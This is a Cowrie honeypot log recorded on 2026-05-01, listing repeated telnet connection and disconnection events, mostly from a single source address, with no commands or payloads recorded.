{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41276,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb91d00e0e30","protocol":"telnet","message":"New connection: 194.163.135.148:41276 (159.203.135.109:23) [session: cb91d00e0e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:37.950426Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41280,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b99fb15fc8b","protocol":"telnet","message":"New connection: 194.163.135.148:41280 (159.203.135.109:23) [session: 1b99fb15fc8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:38.972235Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41288,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b345a3b66b","protocol":"telnet","message":"New connection: 194.163.135.148:41288 (159.203.135.109:23) [session: a8b345a3b66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:41.721570Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41304,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b7906eeae65","protocol":"telnet","message":"New connection: 194.163.135.148:41304 (159.203.135.109:23) [session: 3b7906eeae65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:42.067446Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41296,"dst_ip":"159.203.135.109","dst_port":23,"session":"277be7e1a2a1","protocol":"telnet","message":"New connection: 194.163.135.148:41296 (159.203.135.109:23) [session: 277be7e1a2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:42.331167Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41302,"dst_ip":"159.203.135.109","dst_port":23,"session":"73330418c368","protocol":"telnet","message":"New connection: 194.163.135.148:41302 (159.203.135.109:23) [session: 73330418c368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:43.066282Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41322,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3ce4175b66a","protocol":"telnet","message":"New connection: 194.163.135.148:41322 (159.203.135.109:23) [session: b3ce4175b66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:43.859922Z"}
{"eventid":"cowrie.session.closed","duration":31.908567905426025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:44.287079Z","src_ip":"194.163.135.148","session":"115ee0d34e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.317514181137085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:45.051252Z","src_ip":"194.163.135.148","session":"9cfa16e47210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41312,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fd748e8afcc","protocol":"telnet","message":"New connection: 194.163.135.148:41312 (159.203.135.109:23) [session: 8fd748e8afcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:45.885661Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41340,"dst_ip":"159.203.135.109","dst_port":23,"session":"ead4f7f33a58","protocol":"telnet","message":"New connection: 194.163.135.148:41340 (159.203.135.109:23) [session: ead4f7f33a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:47.451237Z"}
{"eventid":"cowrie.session.closed","duration":30.817158937454224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:47.611680Z","src_ip":"194.163.135.148","session":"5c14f8942be9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46869707107544,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:47.731087Z","src_ip":"194.163.135.148","session":"0e1d76a5cfca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.85613465309143,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:48.141709Z","src_ip":"194.163.135.148","session":"c7b7d06ed162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41350,"dst_ip":"159.203.135.109","dst_port":23,"session":"dde8ff62a440","protocol":"telnet","message":"New connection: 194.163.135.148:41350 (159.203.135.109:23) [session: dde8ff62a440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:49.716850Z"}
{"eventid":"cowrie.session.closed","duration":30.67038106918335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:50.059085Z","src_ip":"194.163.135.148","session":"eda6d6cfe91e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914650917053223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:50.271734Z","src_ip":"194.163.135.148","session":"2472d6f90e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41372,"dst_ip":"159.203.135.109","dst_port":23,"session":"207447445a9e","protocol":"telnet","message":"New connection: 194.163.135.148:41372 (159.203.135.109:23) [session: 207447445a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:51.671678Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39030,"dst_ip":"10.17.0.5","dst_port":23,"session":"a72d081c167e","protocol":"telnet","message":"New connection: 103.115.172.252:39030 (10.17.0.5:23) [session: a72d081c167e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:51.758512Z"}
{"eventid":"cowrie.session.closed","duration":31.651816368103027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:52.299497Z","src_ip":"194.163.135.148","session":"b534ee48e065","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41394,"dst_ip":"159.203.135.109","dst_port":23,"session":"82add44b21e2","protocol":"telnet","message":"New connection: 194.163.135.148:41394 (159.203.135.109:23) [session: 82add44b21e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:55.159030Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41396,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7e36fbd69c2","protocol":"telnet","message":"New connection: 194.163.135.148:41396 (159.203.135.109:23) [session: e7e36fbd69c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:55.253727Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.223.244.130","src_port":50149,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cd1d5ce5093","protocol":"telnet","message":"New connection: 187.223.244.130:50149 (159.203.135.109:23) [session: 0cd1d5ce5093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:55.314174Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41400,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5f9edb4579","protocol":"telnet","message":"New connection: 194.163.135.148:41400 (159.203.135.109:23) [session: 8a5f9edb4579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:55.780100Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39378,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e5777ae42a","protocol":"telnet","message":"New connection: 103.115.172.252:39378 (10.17.0.5:23) [session: 47e5777ae42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:56.776358Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41408,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc5f8844748e","protocol":"telnet","message":"New connection: 194.163.135.148:41408 (159.203.135.109:23) [session: dc5f8844748e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:56.785458Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41418,"dst_ip":"159.203.135.109","dst_port":23,"session":"6451e12a8274","protocol":"telnet","message":"New connection: 194.163.135.148:41418 (159.203.135.109:23) [session: 6451e12a8274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:58.063744Z"}
{"eventid":"cowrie.session.closed","duration":31.336440801620483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:58.278065Z","src_ip":"194.163.135.148","session":"4da26ace0c83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.222400188446045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:59.005895Z","src_ip":"194.163.135.148","session":"1cb100fe1f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41432,"dst_ip":"159.203.135.109","dst_port":23,"session":"d790b79a1e85","protocol":"telnet","message":"New connection: 194.163.135.148:41432 (159.203.135.109:23) [session: d790b79a1e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:42:59.538111Z"}
{"eventid":"cowrie.session.closed","duration":32.28608155250549,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:01.727711Z","src_ip":"194.163.135.148","session":"21357a918ff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942030668258667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:02.100390Z","src_ip":"194.163.135.148","session":"66b17eb9f4b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.803728103637695,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:03.121755Z","src_ip":"194.163.135.148","session":"c86191f45a00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.484227180480957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:04.399013Z","src_ip":"194.163.135.148","session":"1d1327d0a02f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41466,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5f4e0abd1ae","protocol":"telnet","message":"New connection: 194.163.135.148:41466 (159.203.135.109:23) [session: b5f4e0abd1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:04.700615Z"}
{"eventid":"cowrie.session.closed","duration":30.964481115341187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:04.709315Z","src_ip":"194.163.135.148","session":"0697f78cf294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41474,"dst_ip":"159.203.135.109","dst_port":23,"session":"967ef1902e44","protocol":"telnet","message":"New connection: 194.163.135.148:41474 (159.203.135.109:23) [session: 967ef1902e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:05.445823Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41476,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d190d9386a4","protocol":"telnet","message":"New connection: 194.163.135.148:41476 (159.203.135.109:23) [session: 0d190d9386a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:06.119672Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41490,"dst_ip":"159.203.135.109","dst_port":23,"session":"5944012894a2","protocol":"telnet","message":"New connection: 194.163.135.148:41490 (159.203.135.109:23) [session: 5944012894a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:07.122011Z"}
{"eventid":"cowrie.session.closed","duration":31.603468656539917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:07.607414Z","src_ip":"194.163.135.148","session":"52c2b149b510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.24375915527344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:08.039896Z","src_ip":"194.163.135.148","session":"bd75750532e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.343196392059326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:10.293513Z","src_ip":"194.163.135.148","session":"cb91d00e0e30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57364249229431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:10.545743Z","src_ip":"194.163.135.148","session":"1b99fb15fc8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41536,"dst_ip":"159.203.135.109","dst_port":23,"session":"e392110a1a52","protocol":"telnet","message":"New connection: 194.163.135.148:41536 (159.203.135.109:23) [session: e392110a1a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:11.831431Z"}
{"eventid":"cowrie.session.closed","duration":30.64716672897339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:12.368593Z","src_ip":"194.163.135.148","session":"a8b345a3b66b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.580947875976562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:14.647103Z","src_ip":"194.163.135.148","session":"73330418c368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41552,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d9a1fae6ce2","protocol":"telnet","message":"New connection: 194.163.135.148:41552 (159.203.135.109:23) [session: 9d9a1fae6ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:15.130288Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41570,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3e15a0a13ed","protocol":"telnet","message":"New connection: 194.163.135.148:41570 (159.203.135.109:23) [session: f3e15a0a13ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:15.600452Z"}
{"eventid":"cowrie.session.closed","duration":33.40473437309265,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:15.735799Z","src_ip":"194.163.135.148","session":"277be7e1a2a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.979469537734985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:15.839276Z","src_ip":"194.163.135.148","session":"b3ce4175b66a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107512950897217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:16.993049Z","src_ip":"194.163.135.148","session":"8fd748e8afcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41592,"dst_ip":"159.203.135.109","dst_port":23,"session":"292d1733b075","protocol":"telnet","message":"New connection: 194.163.135.148:41592 (159.203.135.109:23) [session: 292d1733b075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:17.238184Z"}
{"eventid":"cowrie.session.closed","duration":35.37338185310364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:17.440737Z","src_ip":"194.163.135.148","session":"3b7906eeae65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41606,"dst_ip":"159.203.135.109","dst_port":23,"session":"7067ba8fed77","protocol":"telnet","message":"New connection: 194.163.135.148:41606 (159.203.135.109:23) [session: 7067ba8fed77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:18.431723Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41596,"dst_ip":"159.203.135.109","dst_port":23,"session":"845b723e89f3","protocol":"telnet","message":"New connection: 194.163.135.148:41596 (159.203.135.109:23) [session: 845b723e89f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:18.618513Z"}
{"eventid":"cowrie.session.closed","duration":34.40497922897339,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:21.856083Z","src_ip":"194.163.135.148","session":"ead4f7f33a58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016916513442993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:22.688490Z","src_ip":"194.163.135.148","session":"207447445a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.107975482940674,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:22.824720Z","src_ip":"194.163.135.148","session":"dde8ff62a440","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41670,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fab0570590f","protocol":"telnet","message":"New connection: 194.163.135.148:41670 (159.203.135.109:23) [session: 3fab0570590f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:24.674067Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41680,"dst_ip":"159.203.135.109","dst_port":23,"session":"856512f17dd6","protocol":"telnet","message":"New connection: 194.163.135.148:41680 (159.203.135.109:23) [session: 856512f17dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:25.362361Z"}
{"eventid":"cowrie.session.closed","duration":31.52551293373108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:26.684415Z","src_ip":"194.163.135.148","session":"82add44b21e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41700,"dst_ip":"159.203.135.109","dst_port":23,"session":"32e70fbc7d07","protocol":"telnet","message":"New connection: 194.163.135.148:41700 (159.203.135.109:23) [session: 32e70fbc7d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:27.250421Z"}
{"eventid":"cowrie.session.closed","duration":31.261557579040527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:28.046910Z","src_ip":"194.163.135.148","session":"dc5f8844748e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07216548919678,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:28.325763Z","src_ip":"194.163.135.148","session":"e7e36fbd69c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32489848136902,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:30.104951Z","src_ip":"194.163.135.148","session":"8a5f9edb4579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41742,"dst_ip":"159.203.135.109","dst_port":23,"session":"965fd1423e1c","protocol":"telnet","message":"New connection: 194.163.135.148:41742 (159.203.135.109:23) [session: 965fd1423e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:30.849276Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41754,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd9f7b187243","protocol":"telnet","message":"New connection: 194.163.135.148:41754 (159.203.135.109:23) [session: bd9f7b187243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:31.411064Z"}
{"eventid":"cowrie.session.closed","duration":33.52107048034668,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:31.584692Z","src_ip":"194.163.135.148","session":"6451e12a8274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41756,"dst_ip":"159.203.135.109","dst_port":23,"session":"400d451cfe86","protocol":"telnet","message":"New connection: 194.163.135.148:41756 (159.203.135.109:23) [session: 400d451cfe86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:31.684365Z"}
{"eventid":"cowrie.session.closed","duration":32.259559631347656,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:31.797554Z","src_ip":"194.163.135.148","session":"d790b79a1e85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.205095052719116,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:31.963458Z","src_ip":"103.115.172.252","session":"a72d081c167e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.13999819755554,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:34.916245Z","src_ip":"103.115.172.252","session":"47e5777ae42a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58521342277527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:35.285717Z","src_ip":"194.163.135.148","session":"b5f4e0abd1ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41810,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb282d7277c9","protocol":"telnet","message":"New connection: 194.163.135.148:41810 (159.203.135.109:23) [session: eb282d7277c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:36.097328Z"}
{"eventid":"cowrie.session.closed","duration":30.67557716369629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:36.121281Z","src_ip":"194.163.135.148","session":"967ef1902e44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41812,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d68036a8c2a","protocol":"telnet","message":"New connection: 194.163.135.148:41812 (159.203.135.109:23) [session: 7d68036a8c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:36.223521Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41816,"dst_ip":"159.203.135.109","dst_port":23,"session":"53fc885a88bc","protocol":"telnet","message":"New connection: 194.163.135.148:41816 (159.203.135.109:23) [session: 53fc885a88bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:36.942191Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41808,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef62ffa12f3e","protocol":"telnet","message":"New connection: 194.163.135.148:41808 (159.203.135.109:23) [session: ef62ffa12f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:37.082177Z"}
{"eventid":"cowrie.session.closed","duration":31.871983289718628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:37.991555Z","src_ip":"194.163.135.148","session":"0d190d9386a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.163.135.148","src_port":41844,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6edb18528ad","protocol":"telnet","message":"New connection: 194.163.135.148:41844 (159.203.135.109:23) [session: e6edb18528ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:38.205829Z"}
{"eventid":"cowrie.session.closed","duration":31.26483988761902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:43:38.386709Z","src_ip":"194.163.135.148","session":"5944012894a2","protocol":"telnet"}
